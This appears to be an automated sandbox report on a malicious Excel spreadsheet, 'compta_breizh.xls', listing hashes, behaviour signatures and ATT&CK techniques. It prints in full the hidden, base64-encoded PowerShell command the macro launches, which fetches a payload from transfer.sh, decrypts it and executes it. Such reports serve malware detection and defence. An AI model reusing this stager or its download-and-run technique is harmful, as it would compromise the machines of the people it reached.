27a6ab7e03075bcc4873b52d67d83d2e61067282c8d4376d8a1778eda385b68a

General

Target

compta_breizh.xls
Size

580KB
MD5

1149360d266ca100ff6a7ce2a8414d53
SHA1

ff87dbe2730be9fb594a337e857b5f5c235e2005
SHA256

27a6ab7e03075bcc4873b52d67d83d2e61067282c8d4376d8a1778eda385b68a
SHA512

e885178f839dfbc5e7fc4012bce4a5d646d4c287841a76bf19fbdb51cc688cb3c51a724ffdfab0269f628d5364a6a1680284b9bb3f63e049f44132168f2e76e9
SSDEEP

6144:Ik3hbdlylKsgqopeJBWhZFVEUr3M/sItOd/AIIuY3/RsxRIA2e6FngrNv8zKCq/i:jY3ecALrquDK

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://transfer.sh/get

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3316	1596	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

28 3316 powershell.exe

flow	pid	process
28	3316	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1596 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3316 powershell.exe
3316 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3316 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1596 EXCEL.EXE
1596 EXCEL.EXE

pid	process
3316	powershell.exe
3316	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3316	powershell.exe

Suspicious use of SetWindowsHookEx 15 IoCs

Processes:

EXCEL.EXE

pid	process
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE
1596	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1596 wrote to memory of 3316	1596	EXCEL.EXE	powershell.exe
PID 1596 wrote to memory of 3316	1596	EXCEL.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\compta_breizh.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1596

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JABLAD0AWwBTAHkAcwB0AGUAbQAuAFQARQBYAFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAFQAQgB5AHQAZQBTACgAJwA3AEgAQwAyAHMAbgA4AEMAYQB4AEcANAB1AGUAVABIAGEANQBnAFMAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJAB2AGkAPQBbAFMAeQBzAHQAZQBtAC4AVABFAFgAVAAuAEUATgBDAE8ARABJAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAEUAVABCAHkAdABlAFMAKAAnAGoANwBTADEAJwApADsAJABfAC0AQgBYAE8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABmAHEAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwA3ADgATQBtAEgAcwBqAEoAeQBTAEUASAAwADUAbgB5AFUAcwBrADkAcABmAGcATwBxAFcAcwBMAFMAQgBMAE8AJwApADsAJABmAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGYAcQAgACgAJAB2AGkAKwAkAGsAKQApADsAJABXAGMAPQBOAEUAVwAtAE8AQgBqAEUAQwB0ACAAUwBZAHMAdABFAE0ALgBOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJAB0AD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQAJwA7ACQAcwBlAHIAPQAnAGcAdAB3AEMAYQB0ADMAbQA0ADMANQBiAHcAYwAzAHAAZABRAD0APQAnADsAJABkAGEAdABhAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcwBlAHIAKQA7ACQASABKAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGQAYQB0AGEAIAAoACQAdgBpACsAJABrACkAKQA7ACQAZABhAHQAYQA9ACQAVwBDAC4ARABvAHcAbgBsAG8AQQBEAEQAQQBUAEEAKAAkAHQAKwAkAEgASgApADsALQBKAG8AaQBOAFsAQwBIAGEAcgBbAF0AXQAoACQARABhAHQAQQApAHwASQBFAFgA
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3316

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ugeghaty.ug2.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1596-225-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp

Filesize
64KB

Download
memory/1596-133-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp

Filesize
64KB

Download
memory/1596-136-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp

Filesize
64KB

Download
memory/1596-137-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp

Filesize
64KB

Download
memory/1596-138-0x00007FFD0F6D0000-0x00007FFD0F6E0000-memory.dmp

Filesize
64KB

Download
memory/1596-139-0x00007FFD0F6D0000-0x00007FFD0F6E0000-memory.dmp

Filesize
64KB

Download
memory/1596-134-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp

Filesize
64KB

Download
memory/1596-228-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp

Filesize
64KB

Download
memory/1596-135-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp

Filesize
64KB

Download
memory/1596-227-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp

Filesize
64KB

Download
memory/1596-226-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp

Filesize
64KB

Download
memory/3316-206-0x000001DCC5CD0000-0x000001DCC5CE0000-memory.dmp

Filesize
64KB

Download
memory/3316-208-0x000001DCC5CD0000-0x000001DCC5CE0000-memory.dmp

Filesize
64KB

Download
memory/3316-207-0x000001DCC5CD0000-0x000001DCC5CE0000-memory.dmp

Filesize
64KB

Download
memory/3316-205-0x000001DCDE050000-0x000001DCDE072000-memory.dmp

Filesize
136KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads